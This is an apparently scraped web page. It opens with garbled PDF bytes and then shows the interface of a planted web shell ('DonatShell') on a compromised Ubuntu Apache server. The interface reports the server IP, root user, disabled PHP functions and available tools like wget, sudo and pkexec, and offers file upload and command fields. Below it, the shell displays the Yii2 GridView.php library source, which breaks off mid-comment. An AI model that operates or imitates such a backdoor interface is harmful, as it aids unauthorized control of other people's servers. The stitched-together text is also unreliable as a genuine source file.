%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/egp/vendor/kartik-v/yii2-grid/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/egp/vendor/kartik-v/yii2-grid/src/GridView.php
<?php

/**
 * @package   yii2-grid
 * @author    Kartik Visweswaran <kartikv2@gmail.com>
 * @copyright Copyright &copy; Kartik Visweswaran, Krajee.com, 2014 - 2020
 * @version   3.3.6
 */

namespace kartik\grid;

use Closure;
use kartik\base\BootstrapInterface;
use kartik\base\BootstrapTrait;
use kartik\base\Config;
use kartik\dialog\Dialog;
use Yii;
use yii\base\InvalidConfigException;
use yii\grid\Column;
use yii\grid\GridView as YiiGridView;
use yii\helpers\ArrayHelper;
use yii\helpers\Html;
use yii\helpers\Inflector;
use yii\helpers\Json;
use yii\helpers\Url;
use yii\web\JsExpression;
use yii\web\Request;
use yii\widgets\Pjax;

/**
 * The GridView widget is used to display data in a grid. It provides features like [[sorter|sorting]], [[pager|paging]]
 * and also [[filterModel|filtering]] the data.  The [[GridView]] widget extends and modifies [[YiiGridView]] with
 * various new enhancements.
 *
 * The columns of the grid are configured in terms of [[Column]] classes, which are configured via [[columns]]. The look
 * and feel of a grid view can be customized using the large amount of properties.
 *
 * The GridView is available and configurable as part of the Krajee grid [[Module]] with various new additional grid
 * columns and enhanced settings. The extension also incorporates various Bootstrap 3.x styling options, inbuilt
 * additional jQuery plugins and has embedded support for Pjax based rendering.
 *
 * A basic usage of the widget looks like the following:
 *
 * ~~~
 * <?= GridView::widget([
 *     'dataProvider' => $dataProvider,
 *     'columns' => [
 *         'id',
 *         'name',
 *         'created_at:datetime',
 *         // ...
 *     ]
 * ]) ?>
 * ~~~
 *
 * @see http://demos.krajee.com/grid
 * @author Kartik Visweswaran <kartikv2@gmail.com>
 * @since  1.0
 */
class GridView extends YiiGridView implements BootstrapInterface
{
    use BootstrapTrait;

    /**
     * @var string the top part of the table after the header (used for location of the page summary row)
     */
    const POS_TOP = 'top';

    /**
     * @var string the bottom part of the table before the footer (used for location of the page summary row)
     */
    const POS_BOTTOM = 'bottom';

    /**
     * @var string the **default** bootstrap contextual color type (applicable only for panel contextual style)
     */
    const TYPE_DEFAULT = 'default';

    /**
     * @var string the **primary** bootstrap contextual color type
     */
    const TYPE_PRIMARY = 'primary';

    /**
     * @var string the **information** bootstrap contextual color type
     */
    const TYPE_INFO = 'info';

    /**
     * @var string the **danger** bootstrap contextual color type
     */
    const TYPE_DANGER = 'danger';

    /**
     * @var string the **warning** bootstrap contextual color type
     */
    const TYPE_WARNING = 'warning';

    /**
     * @var string the **success** bootstrap contextual color type
     */
    const TYPE_SUCCESS = 'success';

    /**
     * @var string the **active** bootstrap contextual color type (applicable only for table row contextual style)
     */
    const TYPE_ACTIVE = 'active';

    /**
     * @var string the Bootstrap 3.x **active** icon markup for [[BooleanColumn]]
     */
    const ICON_ACTIVE = '<span class="glyphicon glyphicon-ok text-success"></span>';

    /**
     * @var string the **inactive** icon markup for [[BooleanColumn]]
     */
    const ICON_INACTIVE = '<span class="glyphicon glyphicon-remove text-danger"></span>';

    /**
     * @var string the Bootstrap 3.x **expanded** icon markup for [[ExpandRowColumn]]
     */
    const ICON_EXPAND = '<span class="glyphicon glyphicon-expand"></span>';

    /**
     * @var string the Bootstrap 3.x **collapsed** icon markup for [[ExpandRowColumn]]
     */
    const ICON_COLLAPSE = '<span class="glyphicon glyphicon-collapse-down"></span>';

    /**
     * @var string the Bootstrap 4.x **active** icon markup for [[BooleanColumn]]
     */
    const ICON_ACTIVE_BS4 = '<span class="fas fa-check text-success"></span>';

    /**
     * @var string the Bootstrap 4.x **inactive** icon markup for [[BooleanColumn]]
     */
    const ICON_INACTIVE_BS4 = '<span class="fas fa-times text-danger"></span>';

    /**
     * @var string the Bootstrap 4.x **expanded** icon markup for [[ExpandRowColumn]]
     */
    const ICON_EXPAND_BS4 = '<span class="far fa-plus-square"></span>';

    /**
     * @var string the Bootstrap 4.x **collapsed** icon markup for [[ExpandRowColumn]]
     */
    const ICON_COLLAPSE_BS4 = '<span class="far fa-minus-square"></span>';

    /**
     * @var string the status for a **default** row in [[ExpandRowColumn]]
     */
    const ROW_NONE = -1;

    /**
     * @var string the status for an **expanded** row in [[ExpandRowColumn]]
     */
    const ROW_EXPANDED = 0;

    /**
     * @var string the status for a **collapsed** row in [[ExpandRowColumn]]
     */
    const ROW_COLLAPSED = 1;
    /**
     * @var string horizontal **right** alignment for grid cells
     */
    const ALIGN_RIGHT = 'right';

    /**
     * @var string horizontal **center** alignment for grid cells
     */
    const ALIGN_CENTER = 'center';

    /**
     * @var string horizontal **left** alignment for grid cells
     */
    const ALIGN_LEFT = 'left';

    /**
     * @var string vertical **top** alignment for grid cells
     */
    const ALIGN_TOP = 'top';

    /**
     * @var string vertical **middle** alignment for grid cells
     */
    const ALIGN_MIDDLE = 'middle';

    /**
     * @var string vertical **bottom** alignment for grid cells
     */
    const ALIGN_BOTTOM = 'bottom';

    /**
     * @var string CSS to apply to prevent wrapping of grid cell data
     */
    const NOWRAP = 'kv-nowrap';

    /**
     * @var string grid filter input type for [[Html::checkbox]]
     */
    const FILTER_CHECKBOX = 'checkbox';

    /**
     * @var string grid filter input type for [[Html::radio]]
     */
    const FILTER_RADIO = 'radio';

    /**
     * @var string grid filter input type for [[\kartik\select2\Select2]] widget
     */
    const FILTER_SELECT2 = '\kartik\select2\Select2';

    /**
     * @var string grid filter input type for [[\kartik\typeahead\Typeahead]] widget
     */
    const FILTER_TYPEAHEAD = '\kartik\typeahead\Typeahead';

    /**
     * @var string grid filter input type for [[\kartik\switchinput\SwitchInput]] widget
     */
    const FILTER_SWITCH = '\kartik\switchinput\SwitchInput';

    /**
     * @var string grid filter input type for [[\kartik\touchspin\TouchSpin]] widget
     */
    const FILTER_SPIN = '\kartik\touchspin\TouchSpin';

    /**
     * @var string grid filter input type for [[\kartik\rating\StarRating]] widget
     */
    const FILTER_STAR = '\kartik\rating\StarRating';

    /**
     * @var string grid filter input type for [[\kartik\date\DatePicker]] widget
     */
    const FILTER_DATE = '\kartik\date\DatePicker';

    /**
     * @var string grid filter input type for [[\kartik\time\TimePicker]] widget
     */
    const FILTER_TIME = '\kartik\time\TimePicker';

    /**
     * @var string grid filter input type for [[\kartik\datetime\DateTimePicker]] widget
     */
    const FILTER_DATETIME = '\kartik\datetime\DateTimePicker';

    /**
     * @var string grid filter input type for [[\kartik\daterange\DateRangePicker]] widget
     */
    const FILTER_DATE_RANGE = '\kartik\daterange\DateRangePicker';

    /**
     * @var string grid filter input type for [[\kartik\sortinput\SortableInput]] widget
     */
    const FILTER_SORTABLE = '\kartik\sortinput\SortableInput';

    /**
     * @var string grid filter input type for [[\kartik\range\RangeInput]] widget
     */
    const FILTER_RANGE = '\kartik\range\RangeInput';

    /**
     * @var string grid filter input type for [[\kartik\color\ColorInput]] widget
     */
    const FILTER_COLOR = '\kartik\color\ColorInput';

    /**
     * @var string grid filter input type for [[\kartik\slider\Slider]] widget
     */
    const FILTER_SLIDER = '\kartik\slider\Slider';

    /**
     * @var string grid filter input type for [[\kartik\money\MaskMoney]] widget
     */
    const FILTER_MONEY = '\kartik\money\MaskMoney';

    /**
     * @var string grid filter input type for [[\kartik\number\NumberControl]] widget
     */
    const FILTER_NUMBER = '\kartik\number\NumberControl';

    /**
     * @var string grid filter input type for [[\kartik\checkbox\CheckboxX]] widget
     */
    const FILTER_CHECKBOX_X = '\kartik\checkbox\CheckboxX';

    /**
     * @var string identifier for the `COUNT` summary function
     */
    const F_COUNT = 'f_count';

    /**
     * @var string identifier for the `SUM` summary function
     */
    const F_SUM = 'f_sum';
    /**
     * @var string identifier for the `MAX` summary function
     */
    const F_MAX = 'f_max';

    /**
     * @var string identifier for the `MIN` summary function
     */
    const F_MIN = 'f_min';

    /**
     * @var string identifier for the `AVG` summary function
     */
    const F_AVG = 'f_avg';

    /**
     * @var string HTML (Hyper Text Markup Language) export format
     */
    const HTML = 'html';

    /**
     * @var string CSV (comma separated values) export format
     */
    const CSV = 'csv';

    /**
     * @var string Text export format
     */
    const TEXT = 'txt';

    /**
     * @var string Microsoft Excel 95+ export format
     */
    const EXCEL = 'xls';

    /**
     * @var string PDF (Portable Document Format) export format
     */
    const PDF = 'pdf';

    /**
     * @var string JSON (Javascript Object Notation) export format
     */
    const JSON = 'json';

    /**
     * @var string set download target for grid export to a popup browser window
     */
    const TARGET_POPUP = '_popup';

    /**
     * @var string set download target for grid export to the same open document on the browser
     */
    const TARGET_SELF = '_self';

    /**
     * @var string set download target for grid export to a new window that auto closes after download
     */
    const TARGET_BLANK = '_blank';

    /**
     * @var string the module identifier if this widget is part of a module. If not set, the module identifier will
     * be auto derived based on the \yii\base\Module::getInstance method. This can be useful, if you are setting
     * multiple module identifiers for the same module in your Yii configuration file. To specify children or grand
     * children modules you can specify the module identifiers relative to the parent module (e.g. `admin/content`).
     */
    public $moduleId;

    /**
     * @var array configuration settings for the Krajee dialog widget that will be used to render alerts and
     * confirmation dialog prompts
     * @see http://demos.krajee.com/dialog
     */
    public $krajeeDialogSettings = [];

    /**
     * @var string the layout that determines how different sections of the list view should be organized.
     * The layout template will be automatically set based on the [[panel]] setting. If [[panel]] is a valid
     * array, then the [[layout]] will default to the [[panelTemplate]] property. If the [[panel]] property
     * is set to `false`, then the [[layout]] will default to `{summary}\n{items}\n{pager}`.
     *
     * The following tokens will be replaced with the corresponding section contents:
     *
     * - `{summary}`: the summary section. See [[renderSummary()]].
     * - `{errors}`: the filter model error summary. See [[renderErrors()]].
     * - `{items}`: the list items. See [[renderItems()]].
     * - `{sorter}`: the sorter. See [[renderSorter()]].
     * - `{pager}`: the pager. See [[renderPager()]].
     * - `{export}`: the grid export button menu. See [[renderExport()]].
     * - `{toolbar}`: the grid panel toolbar. See [[renderToolbar()]].
     * - `{toolbarContainer}`: the toolbar container. See [[renderToolbarContainer()]].
     *
     * In addition to the above tokens, refer the [[panelTemplate]] property for other tokens supported as
     * part of the bootstrap styled panel.
     *
     */
    public $layout = "{summary}\n{items}\n{pager}";

    /**
     * @var string the default label shown for each record in the grid (singular). This label will replace the singular
     * word `item` within the grid summary text as well as ActionColumn default delete confirmation message.
     */
    public $itemLabelSingle;

    /**
     * @var string the default label shown for each record in the grid (plural). This label will replace the plural word
     * `items` within the grid summary text.
     */
    public $itemLabelPlural;

    /**
     * @var string the default label shown for each record in the grid (plural). Similar to [[itemLabelPlural]] but
     * this is applicable for languages like russian, where the plural label can be different for fewer item count.
     * This label will replace the plural word `items-few` within the grid summary text.
     */
    public $itemLabelFew;

    /**
     * @var string the default label shown for each record in the grid (plural). Similar to [[itemLabelPlural]] but
     * this is applicable for languages like russian, where the plural label can be different for many item count.
     * This label will replace the plural word `items-many` within the grid summary text.
     */
    public $itemLabelMany;

    /**
     * @var string the default label shown for each record in the grid (accusative case). This is applicable for few
     * languages like German.
     */
    public $itemLabelAccusative;

    /**
     * @var string the template for rendering the grid within a bootstrap styled panel.
     * The following special tokens are recognized and will be replaced:
     * - `{prefix}`: _string_, the CSS prefix name as set in [[panelPrefix]]. Defaults to `panel panel-`.
     * - `{type}`: _string_, the panel type that will append the bootstrap contextual CSS.
     * - `{panelHeading}`: _string_, which will render the panel heading block.
     * - `{panelBefore}`: _string_, which will render the panel before block.
     * - `{panelAfter}`: _string_, which will render the panel after block.
     * - `{panelFooter}`: _string_, which will render the panel footer block.
     * - `{items}`: _string_, which will render the grid items.
     * - `{summary}`: _string_, which will render the grid results summary.
     * - `{pager}`: _string_, which will render the grid pagination links.
     * - `{toolbar}`: _string_, which will render the [[toolbar]] property passed
     * - `{toolbarContainer}`: _string_, which will render the toolbar container. See [[renderToolbarContainer()]].
     * - `{export}`: _string_, which will render the [[export]] menu button content.
     */
    public $panelTemplate = <<< HTML
{panelHeading}
{panelBefore}
{items}
{panelAfter}
{panelFooter}
HTML;

    /**
     * @var string the template for rendering the panel heading. The following special tokens are
     * recognized and will be replaced:
     * - `{title}`: _string_, which will render the panel heading title content.
     * - `{summary}`: _string_, which will render the grid results summary.
     * - `{items}`: _string_, which will render the grid items.
     * - `{pager}`: _string_, which will render the grid pagination links.
     * - `{sort}`: _string_, which will render the grid sort links.
     * - `{toolbar}`: _string_, which will render the [[toolbar]] property passed
     * - `{toolbarContainer}`: _string_, which will render the toolbar container. See [[renderToolbarContainer()]].
     * - `{export}`: _string_, which will render the [[export]] menu button content.
     */
    public $panelHeadingTemplate = <<< HTML
    {summary}
    {title}
    <div class="clearfix"></div>
HTML;

    /**
     * @var string the template for rendering the panel footer. The following special tokens are
     * recognized and will be replaced:
     * - `{title}`: _string_, which will render the panel heading title content.
     * - `{footer}`: _string_, which will render the panel footer content.
     * - `{summary}`: _string_, which will render the grid results summary.
     * - `{items}`: _string_, which will render the grid items.
     * - `{sort}`: _string_, which will render the grid sort links.
     * - `{pager}`: _string_, which will render the grid pagination links.
     * - `{toolbar}`: _string_, which will render the [[toolbar]] property passed
     * - `{export}`: _string_, which will render the [[export]] menu button content
     */
    public $panelFooterTemplate = <<< HTML
    <div class="kv-panel-pager">
        {pager}
    </div>
    {footer}
    <div class="clearfix"></div>
HTML;

    /**
     * @var string the template for rendering the `{before} part in the layout templates.
     * The following special tokens are recognized and will be replaced:
     * - `{before}`: _string_, which will render the [[before]] text passed in the panel settings
     * - `{summary}`: _string_, which will render the grid results summary.
     * - `{items}`: _string_, which will render the grid items.
     * - `{sort}`: _string_, which will render the grid sort links.
     * - `{pager}`: _string_, which will render the grid pagination links.
     * - `{toolbar}`: _string_, which will render the [[toolbar]] property passed
     * - `{toolbarContainer}`: _string_, which will render the toolbar container. See [[renderToolbarContainer()]].
     * - `{export}`: _string_, which will render the [[export]] menu button content
     */
    public $panelBeforeTemplate = <<< HTML
    {toolbarContainer}
    {before}
    <div class="clearfix"></div>
HTML;

    /**
     * @var string the template for rendering the `{after} part in the layout templates. The following special
     * variables are recognized and will be replaced:
     * - `{after}`: _string_, which will render the `after` text passed within the [[panel]] settings
     * - `{summary}`: _string_, which will render the grid results summary.
     * - `{items}`: _string_, which will render the grid items.
     * - `{sort}`: _string_, which will render the grid sort links.
     * - `{pager}`: _string_, which will render the grid pagination links.
     * - `{toolbar}`: _string_, which will render the [[toolbar]] property passed
     * - `{toolbarContainer}`: _string_, which will render the toolbar container. See [[renderToolbarContainer()]].
     * - `{export}`: _string_, which will render the [[export]] menu button content
     */
    public $panelAfterTemplate = '{after}';

    /**
     * @var string the panel CSS prefix that will be applied to the panel container for rendering the grid
     * within a bootstrap styled panel. This can be set to a different value to generate different styles for
     * other bootstrap themes. For example, this can be set to `box box-` for rendering boxes in AdminLTE theme.
     */
    public $panelPrefix;

    /**
     * @var array the panel settings for displaying the grid view within a bootstrap styled panel. This property is
     * therefore applicable only if [[bootstrap]] property is `true`. The following array keys can be configured:
     * - `type`: _string_, the panel contextual type. Set it to one of the TYPE constants. If not set, will default to
     *   [[TYPE_DEFAULT]].
     * - `options`: _array_, the HTML attributes for the panel container. If the `class` is not set, it will be auto
     *   derived using the panel `type` and [[panelPrefix]]
     * - `heading`: `string`|`boolean`, the panel heading. If set to `false`, will not be displayed.
     * - `headingOptions`: _array_, HTML attributes for the panel heading container. Defaults to:
     *   - `['class'=>'panel-heading']` when [[bsVersion]] = `3.x`, and
     *   - `['class'=>'card-heading <COLOR>']` when [[bsVersion]] = `4.x` - the color will be auto calculated based on
     *      the `type` setting
     * - `titleOptions`: _array_, HTML attributes for the panel title container. The following tags are specially
     *   parsed:
     *   - `tag`: _string_, the HTML tag to render the title. Defaults to `h3` when [[bsVersion]] = `3.x` and `span`
     *     when [[bsVersion]] = `4.x`
     *   The `titleOptions` defaults to:
     *   - `['class'=>'panel-title']` when [[bsVersion]] = `3.x`, and
     *   - `[]` when [[bsVersion]] = `4.x`
     * - `summaryOptions`: _array_, HTML attributes for the panel summary section container. Defaults to:
     *   - `['class'=>'pull-right']` when [[bsVersion]] = `3.x`, and
     *   - `['class'=>'float-right']` when [[bsVersion]] = `4.x`, and
     * - `footer`: `string`|`boolean`, the panel footer. If set to `false` will not be displayed.
     * - `footerOptions`: _array_, HTML attributes for the panel footer container. Defaults to:
     *   - `['class'=>'panel-footer']` when [[bsVersion]] = `3.x`, and
     *   - `['class'=>'card-footer']` when [[bsVersion]] = `4.x`
     * - 'before': `string`|`boolean`, content to be placed before/above the grid (after the header). To not display
     *   this section, set this to `false`.
     * - `beforeOptions`: _array_, HTML attributes for the `before` text. If the `class` is not set, it will default to
     *   `kv-panel-before`.
     * - 'after': `string`|`boolean`, any content to be placed after/below the grid (before the footer). To not
     *   display this section, set this to `false`.
     * - `afterOptions`: _array_, HTML attributes for the `after` text. If the `class` is not set, it will default to
     *   `kv-panel-after`.
     */
    public $panel = [];

    /**
     * @var array|string configuration of additional header table rows that will be rendered before the default grid
     * header row. If set as a _string_, it will be displayed as is, without any HTML encoding. If set as an _array_,
     * each row in this array corresponds to a HTML table row, where you can configure the columns with these properties:
     * - `columns`: _array_, the header row columns configuration where you can set the following properties:
     *    - `content`: _string_, the grid cell content for the column
     *    - `tag`: _string_, the tag for rendering the grid cell. If not set, defaults to `th`.
     *    - `options`: _array_, the HTML attributes for the grid cell
     * - `options`: _array_, the HTML attributes for the table row
     */
    public $beforeHeader = [];

    /**
     * @var array|string configuration of additional header table rows that will be rendered after default grid header
     * row. If set as a _string_, it will be displayed as is, without any HTML encoding. If set as an _array_, each
     * row in this array corresponds to a HTML table row, where you can configure the columns with these properties:
     * - `columns`: _array_, the header row columns configuration where you can set the following properties:
     *    - `content`: _string_, the grid cell content for the column
     *    - `tag`: _string_, the tag for rendering the grid cell. If not set, defaults to `th`.
     *    - `options`: _array_, the HTML attributes for the grid cell
     * - `options`: _array_, the HTML attributes for the table row
     */
    public $afterHeader = [];

    /**
     * @var array|string configuration of additional footer table rows that will be rendered before the default grid
     * footer row. If set as a _string_, it will be displayed as is, without any HTML encoding. If set as an _array_,
     * each row in this array corresponds to a HTML table row, where you can configure the columns with these properties:
     * - `columns`: _array_, the footer row columns configuration where you can set the following properties:
     *    - `content`: _string_, the grid cell content for the column
     *    - `tag`: _string_, the tag for rendering the grid cell. If not set, defaults to `th`.
     *    - `options`: _array_, the HTML attributes for the grid cell
     * - `options`: _array_, the HTML attributes for the table row
     */
    public $beforeFooter = [];

    /**
     * @var array|string configuration of additional footer table rows that will be rendered after the default grid
     * footer row. If set as a _string_, it will be displayed as is, without any HTML encoding. If set as an _array_,
     * each row in this array corresponds to a HTML table row, where you can configure the columns with these properties:
     * - `columns`: _array_, the footer row columns configuration where you can set the following properties:
     *    - `content`: _string_, the grid cell content for the column
     *    - `tag`: _string_, the tag for rendering the grid cell. If not set, defaults to `th`.
     *    - `options`: _array_, the HTML attributes for the grid cell
     * - `options`: _array_, the HTML attributes for the table row
     */
    public $afterFooter = [];

    /**
     * @var array|string the toolbar content configuration. Can be setup as a string or an array. When set as a
     * _string_, it will be rendered as is. When set as an _array_, each line item will be considered as per the
     * following rules:
     * - if the line item is setup as a _string_, it will be rendered as is
     * - if the line item is an _array_, the following keys can be setup to control the rendering of the toolbar:
     *     - `content`: _string_, the content to be rendered as a bootstrap button group. The following special tags
     *       in the content are recognized and will be replaced:
     *         - `{export}`, _string_ which will render the [[export]] menu button content.
     *         - `{toggleData}`, _string_ which will render the button to toggle between page data and all data.
     *         - `options`: _array_, the HTML attributes for the button group div container. By default the CSS class
     *           `btn-group` will be attached to this container if no class is set.
     */
    public $toolbar = [
        '{toggleData}',
        '{export}',
    ];

    /**
     * @var array the HTML attributes for the toolbar container. The following special attributes are recognized:
     *
     * - `tag`: _string_, the HTML tag to render the toolbar container. Defaults to `div`.
     */
    public $toolbarContainerOptions = ['class' => 'btn-toolbar kv-grid-toolbar toolbar-container'];

    /**
     * @var array tags to replace in the rendered layout. Enter this as `$key => $value` pairs, where:
     * - `$key`: _string_, defines the flag.
     * - `$value`: _string_|_Closure_, the value that will be replaced. You can set it as a callback function to return
     *   a string of the signature: `function ($widget) { return 'custom'; }`.
     *
     * For example, a custom tag like `{star}` can be set as:
     *
     * ```php
     * [
     *     '{star}' => '<span class="glyphicon glyphicon-asterisk"></span>'
     * ]
     * ```
     */
    public $replaceTags = [];

    /**
     * @var string the default data column class if the class name is not explicitly specified when configuring a data
     * column. Defaults to 'kartik\grid\DataColumn'.
     */
    public $dataColumnClass = 'kartik\grid\DataColumn';

    /**
     * @var array the HTML attributes for the grid footer row
     */
    public $footerRowOptions = ['class' => 'kv-table-footer'];

    /**
     * @var array the HTML attributes for the grid caption
     */
    public $captionOptions = ['class' => 'kv-table-caption'];

    /**
     * @var array the HTML attributes for the grid element
     */
    public $tableOptions = [];

    /**
     * @var boolean whether the grid view will be rendered within a pjax container. Defaults to `false`. If set to
     * `true`, the entire GridView widget will be parsed via Pjax and auto-rendered inside a yii\widgets\Pjax
     * widget container. If set to `false` pjax will be disabled and none of the pjax settings will be applied.
     */
    public $pjax = false;

    /**
     * @var array the pjax settings for the widget. This will be considered only when [[pjax]] is set to true. The
     * following settings are recognized:
     * - `neverTimeout`: `boolean`, whether the pjax request should never timeout. Defaults to `true`. The pjax:timeout
     *   event will be configured to disable timing out of pjax requests for the pjax container.
     * - `options`: _array_, the options for the [[\yii\widgets\Pjax]] widget.
     * - `loadingCssClass`: boolean/string, the CSS class to be applied to the grid when loading via pjax. If set to
     *   `false` - no css class will be applied. If it is empty, null, or set to `true`, will default to
     *   `kv-grid-loading`.
     * - `beforeGrid`: _string_, any content to be embedded within pjax container before the Grid widget.
     * - `afterGrid`: _string_, any content to be embedded within pjax container after the Grid widget.
     */
    public $pjaxSettings = [];

    /**
     * @var boolean whether to allow resizing of columns
     */
    public $resizableColumns = true;

    /**
     * @var boolean whether to hide resizable columns for smaller screen sizes (< 768px). Defaults to `true`.
     */
    public $hideResizeMobile = true;

    /**
     * @var array the resizableColumns plugin options
     */
    public $resizableColumnsOptions = ['resizeFromBody' => false];

    /**
     * @var boolean whether to store resized column state using local storage persistence (supported by most modern
     * browsers).
     */
    public $persistResize = false;

    /**
     * @var string resizable unique storage prefix to append to the grid id. If empty or not set it will default to
     * `Yii::$app->user->id`.
     */
    public $resizeStorageKey;

    /**
     * @var boolean whether the grid view will have Bootstrap table styling.
     */
    public $bootstrap = true;

    /**
     * @var boolean whether the grid will have a `bordered` style. Applicable only if `bootstrap` is `true`.
     */
    public $bordered = true;

    /**
     * @var boolean whether the grid will have a `striped` style. Applicable only if `bootstrap` is `true`.
     */
    public $striped = true;

    /**
     * @var boolean whether the grid will have a `condensed` style. Applicable only if `bootstrap` is `true`.
     */
    public $condensed = false;

    /**
     * @var boolean whether the grid will have a `responsive` style. Applicable only if `bootstrap` is `true`.
     */
    public $responsive = true;

    /**
     * @var boolean whether the grid will automatically wrap to fit columns for smaller display sizes.
     */
    public $responsiveWrap = true;

    /**
     * @var boolean whether the grid will highlight row on `hover`. Applicable only if `bootstrap` is `true`.
     */
    public $hover = false;

    /**
     * @var boolean whether the grid will have a floating table header.
     */
    public $floatHeader = false;

    /**
     * @var boolean whether the table header will float and sticks around as you scroll within a container. If
     * `responsive` is true then this is auto set to `true`.
     */
    public $floatOverflowContainer = false;

    /**
     * @var array the plugin options for the floatThead plugin that would render the floating/sticky table header
     * behavior. The default offset from the top of the window where the floating header will 'stick' when scrolling
     * down is set to `50` assuming a fixed bootstrap navbar on top. You can set this to `0` or any javascript
     * function / expression.
     * @see http://mkoryak.github.io/floatThead#options
     */
    public $floatHeaderOptions = ['top' => 50];

    /**
     * @var boolean whether pretty perfect scrollbars using perfect scrollbar plugin is to be used. Defaults to
     * `false`. If this is set to true, the `floatOverflowContainer` property will be auto set to `true`, if
     * `floatHeader` is `true`.
     * @see https://github.com/utatti/perfect-scrollbar
     */
    public $perfectScrollbar = false;

    /**
     * @var array the plugin options for the perfect scrollbar plugin.
     * @see https://github.com/noraesae/perfect-scrollbar
     */
    public $perfectScrollbarOptions = [];

    /**
     * @var boolean whether to show the page summary row for the table. This will be displayed above the footer.
     */
    public $showPageSummary = false;

    /**
     * @var string location of the page summary row (whether [[POS_TOP]] or [[POS_BOTTOM]])
     */
    public $pageSummaryPosition = self::POS_BOTTOM;

    /**
     * @array the HTML attributes for the page summary container. The following special options are recognized:
     *
     * - `tag`: _string_, the tag used to render the page summary. Defaults to `tbody`.
     */
    public $pageSummaryContainer = ['class' => 'kv-page-summary-container'];

    /**
     * @array the HTML attributes for the summary row.
     */
    public $pageSummaryRowOptions = [];

    /**
     * @var string the default pagination that will be read by toggle data. Should be one of 'page' or 'all'. If not
     * set to 'all', it will always defaults to 'page'.
     */
    public $defaultPagination = 'page';

    /**
     * @var boolean whether to enable toggling of grid data. Defaults to `true`.
     */
    public $toggleData = true;

    /**
     * @var array the settings for the toggle data button for the toggle data type. This will be setup as an
     * associative array of $key => $value pairs, where $key can be:
     * - `maxCount`: `int`|`boolean`, the maximum number of records uptil which the toggle button will be rendered. If
     *   the dataProvider records exceed this setting, the toggleButton will not be displayed. Defaults to `10000` if
     *   not set. If you set this to `true`, the toggle button will always be displayed. If you set this to `false
     *   the toggle button will not be displayed (similar to `toggleData` setting).
     * - `minCount`: `int`|`boolean`, the minimum number of records beyond which a confirmation message will be
     *   displayed when toggling all records. If the dataProvider record count exceeds this setting, a confirmation
     *   message will be alerted to the user. Defaults to `500` if not set. If you set this to `true`, the
     *   confirmation message will always be displayed. If set to `false` no confirmation message will be displayed.
     * - `confirmMsg`: _string_, the confirmation message for the toggle data when `minCount` threshold is exceeded.
     *   Defaults to `'There are {totalCount} records. Are you sure you want to display them all?'`.
     * - `all`: _array_, configuration for showing all grid data and the value is the HTML attributes for the button.
     *   (refer `page` for understanding the default options).
     * - `page`: _array_, configuration for showing first page data and $options is the HTML attributes for the button.
     *    The following special options are recognized:
     *    - `icon`: _string_, the glyphicon suffix name. If not set or empty will not be displayed.
     *    - `label`: _string_, the label for the button.
     *
     *      This defaults to the following setting:
     *
     *      ```php
     *      [
     *          'maxCount' => 10000,
     *          'minCount' => 1000
     *          'confirmMsg' => Yii::t(
     *              'kvgrid',
     *              'There are {totalCount} records. Are you sure you want to display them all?',
     *              ['totalCount' => number_format($this->dataProvider->getTotalCount())]
     *          ),
     *          'all' => [
     *              'icon' => 'resize-full',
     *              'label' => 'All',
     *              'class' => 'btn btn-default', // 'btn btn-secondary' for BS4.x
     *              'title' => 'Show all data'
     *          ],
     *          'page' => [
     *              'icon' => 'resize-small',
     *              'label' => 'Page',
     *              'class' => 'btn btn-default', // 'btn btn-secondary' for BS4.x
     *              'title' => 'Show first page data'
     *          ],
     *      ]
     *      ```
     */
    public $toggleDataOptions = [];

    /**
     * @var array the HTML attributes for the toggle data button group container. By default this will always have the
     * `class = btn-group` automatically added, if no class is set.
     */
    public $toggleDataContainer = [];

    /**
     * @var array the HTML attributes for the export button group container. By default this will always have the
     * `class = btn-group` automatically added, if no class is set.
     */
    public $exportContainer = [];

    /**
     * @var array|boolean the grid export menu settings. Displays a Bootstrap dropdown menu that allows you to export the
     * grid as either html, csv, or excel. If set to `false`, will not be displayed. The following options can be
     * set:
     * - `icon`: _string_,the glyphicon suffix to be displayed before the export menu label. If not set or is an empty
     *   string, this will not be displayed. Defaults to `export` if `fontAwesome` is `false` and `share-square-o` if
     *   fontAwesome is `true`.
     * - `label`: _string_,the export menu label (this is not HTML encoded). Defaults to ''.
     * - `showConfirmAlert`: bool, whether to show a confirmation alert dialog before download. This confirmation
     *   dialog will notify user about the type of exported file for download and to disable popup blockers.
     *   Defaults to `true`.
     * - `target`: _string_, the target for submitting the export form, which will trigger
     *   the download of the exported file. Must be one of the `TARGET_` constants.
     *   Defaults to `GridView::TARGET_POPUP`.
     * - `messages`: _array_, the configuration of various messages that will be displayed at runtime:
     *     - `allowPopups`: _string_, the message to be shown to disable browser popups for download.
     *       Defaults to `Disable any popup blockers in your browser to ensure proper download.`.
     *     - `confirmDownload`: _string_, the message to be shown for confirming to proceed with the download. Defaults
     *       to `Ok to proceed?`.
     *     - `downloadProgress`: _string_, the message to be shown in a popup dialog when download request is
     *       triggered. Defaults to `Generating file. Please wait...`.
     *     - `downloadComplete`: _string_, the message to be shown in a popup dialog when download request is completed.
     *       Defaults to `All done! Click anywhere here to close this window, once you have downloaded the file.`.
     * - `header`: _string_, the header for the page data export dropdown. If set to empty string will not be
     *   displayed. Defaults to: `<li role="presentation" class="dropdown-header">Export Page Data</li>`.
     * - `fontAwesome`: bool, whether to use font awesome file type icons. Defaults to `false`. If you set it to
     *   `true`, then font awesome icons css class will be applied instead of glyphicons.
     * - `itemsBefore`: _array_, any additional items that will be merged/prepended before with the export dropdown
     *   list. This should be similar to the `items` property as supported by `\yii\bootstrap\ButtonDropdown` widget.
     *   Note the page export items will be automatically generated based on settings in the `exportConfig` property.
     * - `itemsAfter`: _array_, any additional items that will be merged/appended after with the export dropdown list.
     *   This should be similar to the `items` property as supported by `\yii\bootstrap\ButtonDropdown` widget. Note
